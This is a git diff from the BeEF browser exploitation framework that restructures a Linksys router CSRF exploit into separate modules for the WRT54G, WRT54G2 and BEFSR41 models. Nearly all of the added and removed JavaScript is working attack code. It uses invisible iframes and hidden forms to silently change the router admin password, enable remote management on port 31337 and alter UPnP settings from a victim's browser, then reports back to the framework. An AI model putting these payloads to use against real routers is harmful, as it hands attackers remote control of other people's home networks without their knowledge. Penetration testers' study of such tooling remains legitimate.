diff --git a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js new file mode 100644 index 000000000..ebc65e252 --- /dev/null +++ b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js @@ -0,0 +1,5 @@ +beef.execute(function() { + var iframe = beef.dom.createInvisibleIframe(); + iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0'); + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); +}); diff --git a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb new file mode 100644 index 000000000..af13791bd --- /dev/null +++ b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb @@ -0,0 +1,37 @@ +module BeEF +module Modules +module Commands + + +class Befsr41_csrf < BeEF::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Linksys BEFSR41 CSRF Exploit', + 'Description' => 'Attempts to enable remote administration and change the password on a Linksys BEFSR41 router.', + 'Category' => 'Network', + 'Author' => 'Martin Barbella', + 'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use_template! + end + + def callback + save({'result' => @datastore['result']}) + end + +end + +end +end +end diff --git a/modules/commands/network/linksys_csrf/linksys_csrf.js b/modules/commands/network/linksys_csrf/linksys_csrf.js deleted file mode 100644 index 78739e297..000000000 --- a/modules/commands/network/linksys_csrf/linksys_csrf.js +++ /dev/null @@ -1,193 +0,0 @@ -function pwn_wrt54g2() { - var port = '<%= @port %>'; - var gateway = '<%= @base %>'; - var passwd = '<%= @password %>'; - - var target = gateway + "Manage.tri"; - - var iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', target); - form.setAttribute('method', 'post'); - - var input = null; - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_USE_HTTP'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_HTTP'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_HTTP_S'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORDMOD'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORD'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORD_CONFIRM'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', '_http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_WLFILTER'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_REMOTE'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PORT'); - input.setAttribute('value', port); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_UPNP'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'layout'); - input.setAttribute('value', 'en'); - form.appendChild(input); - - iframe.contentWindow.document.body.appendChild(form); - form.submit(); -} - -function pwn_wrt54g() { - var port = '<%= @port %>'; - var gateway = '<%= @base %>'; - var passwd = '<%= @password %>'; - - var target = gateway + "manage.tri"; - - var iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', target); - form.setAttribute('method', 'post'); - - var input = null; - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'remote_mgt_https'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'https_enable'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'PasswdModify'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_passwd'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_passwdConfirm'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', '_http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'web_wl_filter'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'remote_management'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_wanport'); - input.setAttribute('value', port); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'upnp_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'layout'); - input.setAttribute('value', 'en'); - form.appendChild(input); - - iframe.contentWindow.document.body.appendChild(form); - form.submit(); -} - -function pwn_befsr41() { - var iframe = beef.dom.createInvisibleIframe(); - iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0'); -} - -beef.execute(function() { - pwn_wrt54g2(); - pwn_wrt54g(); - pwn_befsr41(); - beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); -}); diff --git a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js new file mode 100644 index 000000000..4d468f076 --- /dev/null +++ b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js @@ -0,0 +1,92 @@ +beef.execute(function() { + var port = '<%= @port %>'; + var gateway = '<%= @base %>'; + var passwd = '<%= @password %>'; + + var target = gateway + "Manage.tri"; + + var iframe = beef.dom.createInvisibleIframe(); + + var form = document.createElement('form'); + form.setAttribute('action', target); + form.setAttribute('method', 'post'); + + var input = null; + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_USE_HTTP'); + input.setAttribute('value', 0); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_HTTP'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_HTTP_S'); + input.setAttribute('value', 0); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_PASSWORDMOD'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_PASSWORD'); + input.setAttribute('value', passwd); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_PASSWORD_CONFIRM'); + input.setAttribute('value', passwd); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', '_http_enable'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_WLFILTER'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_REMOTE'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_PORT'); + input.setAttribute('value', port); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_UPNP'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'layout'); + input.setAttribute('value', 'en'); + form.appendChild(input); + + iframe.contentWindow.document.body.appendChild(form); + form.submit(); + + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); +}); diff --git a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb new file mode 100644 index 000000000..3d92991bd --- /dev/null +++ b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb @@ -0,0 +1,37 @@ +module BeEF +module Modules +module Commands + + +class Wrt54g2_csrf < BeEF::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Linksys WRT54G2 CSRF Exploit', + 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G2 router.', + 'Category' => 'Network', + 'Author' => 'Martin Barbella', + 'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use_template! + end + + def callback + save({'result' => @datastore['result']}) + end + +end + +end +end +end diff --git a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js new file mode 100644 index 000000000..310135a60 --- /dev/null +++ b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js @@ -0,0 +1,92 @@ +beef.execute(function() { + var port = '<%= @port %>'; + var gateway = '<%= @base %>'; + var passwd = '<%= @password %>'; + + var target = gateway + "manage.tri"; + + var iframe = beef.dom.createInvisibleIframe(); + + var form = document.createElement('form'); + form.setAttribute('action', target); + form.setAttribute('method', 'post'); + + var input = null; + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'remote_mgt_https'); + input.setAttribute('value', 0); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'http_enable'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'https_enable'); + input.setAttribute('value', 0); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'PasswdModify'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'http_passwd'); + input.setAttribute('value', passwd); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'http_passwdConfirm'); + input.setAttribute('value', passwd); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', '_http_enable'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'web_wl_filter'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'remote_management'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'http_wanport'); + input.setAttribute('value', port); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'upnp_enable'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'layout'); + input.setAttribute('value', 'en'); + form.appendChild(input); + + iframe.contentWindow.document.body.appendChild(form); + form.submit(); + + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); +}); diff --git a/modules/commands/network/linksys_csrf/linksys_csrf.rb b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb similarity index 85% rename from modules/commands/network/linksys_csrf/linksys_csrf.rb rename to modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb index bf11a17ac..bcdd3d6eb 100644 --- a/modules/commands/network/linksys_csrf/linksys_csrf.rb +++ b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb @@ -3,15 +3,15 @@ module Modules module Commands -class Linksys_csrf < BeEF::Command +class Wrt54g_csrf < BeEF::Command # # Defines and set up the command module. # def initialize super({ - 'Name' => 'Linksys CSRF Exploit', - 'Description' => 'Attempts to enable remote administration and change the password on a linksys router.', + 'Name' => 'Linksys WRT54G CSRF Exploit', + 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G router.', 'Category' => 'Network', 'Author' => 'Martin Barbella', 'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']], @@ -26,7 +26,6 @@ class Linksys_csrf < BeEF::Command use_template! end - def callback save({'result' => @datastore['result']}) end